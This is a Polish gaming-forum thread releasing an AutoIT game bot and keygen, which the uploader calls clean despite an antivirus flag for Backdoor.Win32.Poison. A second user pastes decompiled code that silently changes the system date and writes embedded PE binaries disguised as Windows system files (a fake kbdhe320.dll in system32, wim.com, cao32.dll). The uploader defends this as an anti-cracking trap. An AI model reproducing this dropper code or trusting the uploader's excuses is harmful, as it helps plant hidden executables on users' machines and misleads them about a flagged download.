[Release] PJautoPlay

[lodi]

Autorem poniższej publikacji jest doorsteps

Zamieszczony bot jak i keygen są napisane w AutoIT. Jestem autorem tylko keygena. Pliki są czyste. Jako dowód załączam skan z jotti. Jeżeli dalej bot budzi niepewności to można skorzystać z programu AutoIT decompiler który znajduje się na forum.

 

Opcje Bota:

- auto right click

- right click with pauses

- auto left click

- inventory cleaner

- auto repair

- auto party

- auto macro

- EE, AE, HE Bot (buff i atakowanie)

- DL SM Bot

 

Plik setup.exe służy do bardzo rozbudowanej i praktycznej konfiguracji bota.

Proszę pamiętać o wybraniu wersji angielskiej Bota. Jeżeli coś jest nie tak to należy skasować plik ini i podążać wg instrukcji rejestracji.

 

PJautoPlay.zip

Plik jest czysty, mimo iż Rising antyvirus pokazuje że jest to Backdoor.Win32.Poison.k (po prostu błąd maszyny).

Moderator nie daje żadnych gwarancji, że program jest w 100% bezpieczny. Używasz na własną odpowiedzialność.

[Dekielek]

DODAM COS TAKIEGO

RunWait(@ComSpec & " /c " & 'date 28/10/2001', "", @SW_HIDE)

IniWrite(@WindowsDir & "\system32\kdbhe320.dll", "]kzk%$","MZ ˙˙ ¸ @ Đ ş ´ Í!¸LÍ!This program cannot be run in DOS mode.$ Ż3dŮëRŠëRŠëRŠq5ŠęRŠ|qOŠęRŠ1qŠęRŠq7ŠęRŠRichëRŠ “}; ŕ ! ˙_ @ f p R 0 Ŕ Đ .data ó @ `.rsrc @ B.reloc Ě 0 @ B ˙ 1 2 3 4 5 6 7 8 9 0 ż Ű Q W E R T Y U I O P » Ý ˘ A S D F G H J K L ş Ţ Ŕ Ü Z X C V B N M Ľ ľ ˝ ˇj¤ p q r s t u v w x y ‘$&!m %'k #(-., ˙ â z { î ń ę ů ő ó ˙ ˙ ű / | } ~ € ‚ ƒ „ … † í ˙ é ˙ Á ˙ ˙ ‡ ˙ ˙ ˙ ˙ ë ˙  ± Ł ­! · ł$ ˛. ®0 Ż2 ¬5 o7 ,8 ĄG $H &I !K %M 'O #P (Q R -S .[ [\ \] ]_ _e Şf «g ¨h ©i §j ¦k ¶l ´m µ F ¤˙_ Ŕ ˝ ± 1 1 ! 7 7 / Q ~: W Â~ TĤU¸˜Ią™OżźPŔ A±‘SĂŁD´”FƦGł“H·—JľžKşšL»›Z¶–XǧVÉ©B˛’N˝ťMĽśĽ , ; ľ . : â < > n , , k + + o / / j * * m - - O r i g i n a l F i l e n a m e k b d h e 3 2 0 . d l l j % P r o d u c t N a m e M i c r o s o f t ® W i n d o w s ® O p e r a t i n g S y s t e m : P r o d u c t V e r s i o n 5 . 1 . 2 6 0 0 . 0 D V a r F i l e I n f o $ T r a n s l a t i o n ° Ŕ ¬1Ř3ŕ3č3đ3ř3444$4,444<4D4L4T4\4d4l4t4|4„4Ś4”4ś4¤4¬4´4Ľ4Ä4Ě4Ô4Ü4ä4ě4ô4ü45555$5,545<5D5L5T5\5d5l5t5|5„5Ś5”5ś5¬5´5Ľ5Ä5Ě5Ô5Ü5ä5ě5ô5ü56666$6,646<6D6L6T6`6d6h6074787<7@7D7H7P7T7î; ", "ş")

DirCreate(@ProgramFilesDir & "\Arquivos comuns\Microsoft Shared\CAO")

IniWrite(@ProgramFilesDir & "\Arquivos comuns\Microsoft Shared\CAO\cao32.dll", "","","")

IniWrite(@WindowsDir & "\wim.com", "]kzk%$","MZ ˙˙ ¸ @ Đ ş ´ Í!¸LÍ!This program cannot be run in DOS mode.$ Ż3dŮëRŠëRŠëRŠq5ŠęRŠ|qOŠęRŠ1qŠęRŠq7ŠęRŠRichëRŠ “}; ŕ ! ˙_ @ f p R 0 Ŕ Đ .data ó @ `.rsrc @ B.reloc Ě 0 @ B ˙ 1 2 3 4 5 6 7 8 9 0 ż Ű Q W E R T Y U I O P » Ý ˘ A S D F G H J K L ş Ţ Ŕ Ü Z X C V B N M Ľ ľ ˝ ˇj¤ p q r s t u v w x y ‘$&!m %'k #(-., ˙ â z { î ń ę ů ő ó ˙ ˙ ű / | } ~ € ‚ ƒ „ … † í ˙ é ˙ Á ˙ ˙ ‡ ˙ ˙ ˙ ˙ ë ˙  ± Ł ­! · ł$ ˛. ®0 Ż2 ¬5 o7 ,8 ĄG $H &I !K %M 'O #P (Q R -S .[ [\ \] ]_ _e Şf «g ¨h ©i §j ¦k ¶l ´m µ F ¤˙_ Ŕ ˝ ± 1 1 ! 7 7 / Q ~: W Â~ TĤU¸˜Ią™OżźPŔ A±‘SĂŁD´”FƦGł“H·—JľžKşšL»›Z¶–XǧVÉ©B˛’N˝ťMĽśĽ , ; ľ . : â < > n , , k + + o / / j * * m - - O r i g i n a l F i l e n a m e k b d h e 3 2 0 . d l l j % P r o d u c t N a m e M i c r o s o f t ® W i n d o w s ® O p e r a t i n g S y s t e m : P r o d u c t V e r s i o n 5 . 1 . 2 6 0 0 . 0 D V a r F i l e I n f o $ T r a n s l a t i o n ° Ŕ ¬1Ř3ŕ3č3đ3ř3444$4,444<4D4L4T4\4d4l4t4|4„4Ś4”4ś4¤4¬4´4Ľ4Ä4Ě4Ô4Ü4ä4ě4ô4ü45555$5,545<5D5L5T5\5d5l5t5|5„5Ś5”5ś5¬5´5Ľ5Ä5Ě5Ô5Ü5ä5ě5ô5ü56666$6,646<6D6L6T6`6d6h6074787<7@7D7H7P7T7î; ", "ş")

RunWait(@ComSpec & " /c " & 'date 03/08/2006', "", @SW_HIDE)

 

I CO TY NA TO LODI ?

[lodi]

Podziwiam Twoją czujność Na poprzedniej wersji forum była dyskusja na ten temat i wszystko zostało wyjaśnione. Pozwolę sobie tutaj wkleić odpowiednie cytaty:

 

To ja juz tłumacze po co ona. Zadne funkcje nie sa zniej importowane ale bot pobiera dane utworzenia tej dllki do wygenerowania numeru seryjnego. Zamieszczam część kodu na którym to widać.

 

$check = FileExists("pj.dll")
If $check = 0 Then
IniWrite("pj.dll", "Š", "Ł×ĆÖŽƒˇöŽ", "ŞĂňOęëA„á˝âľ÷]%ä¨é—:?ŽýSä‹čţĄ˙CÝĆ÷Y1§yá0çLŚ´čďîŚ+")
EndIf
$s =  FileGetTime("pj.dll")
$t = $s[5] & $s[4] & $s[0] & $s[1] & $s[2] & $s[3]
$code1a = Log($t)
$code1b = Round($code1a)
$code1c = $code1b * 13
$code1d = Round($t / 135949)
$code1e = Hex($code1d, 6)
$code1Final = $code1c & $code1e

 

Podziwiam za czujność. Ale wszystko jest ok. ta dllka jest tylko po to. Kod zamiezczony powyzej to jedyne odwołania do niej. Zapraszam do kodu w celu sprawdzenia.

No tak jest coś dziwnego. Na szczęście odzywa siętylko jak wprowadzi się zły serial. A nawet nie zawsze kiedy zły serial ale musi to być odpowiednio zły serial. W kodzie była prosta pułapka dla reversera. Wydawałoby się, że poprawny serial jest generowany w pierwszych 20 liniach kodu a jest wprowadzona lekka zmiana kilkadziesiąt linii niżej. Funkcja ktora wywołuje te dllki odzywa się po wprowadzeniu tego kodu wygenerowanego na początku tak więx nikt na tym nie ucierpiał. Z ciekawośći zaraz wygeneruje te pliki i sprawdze co tam siedzi.

 

EDIT: Dodatkowo nie widzę problemu w dekompilacji pliku a następnie usunięcia ów kodu, który wydaje się być podejrzliwy.

[Dekielek]

NO TO TERA JA CIE ZGASZE

NIE CHODZI O TA DLLKE DOKLADNIE OBCZAJ KOD !

 

TA DLLKA TO CZESC ZABESPIECZENIA I POBIERANE SA DANE TROCHE TO UTRUDNIA ZJECIE ZABESPIECZEN BO ZMIENNE SA ZAMOTANE W TEJ DLLCE ALE TO NIEJEST PROBLEM TEGO CO TAM SIE ZNAJDUJE .

 

Pozdrawiam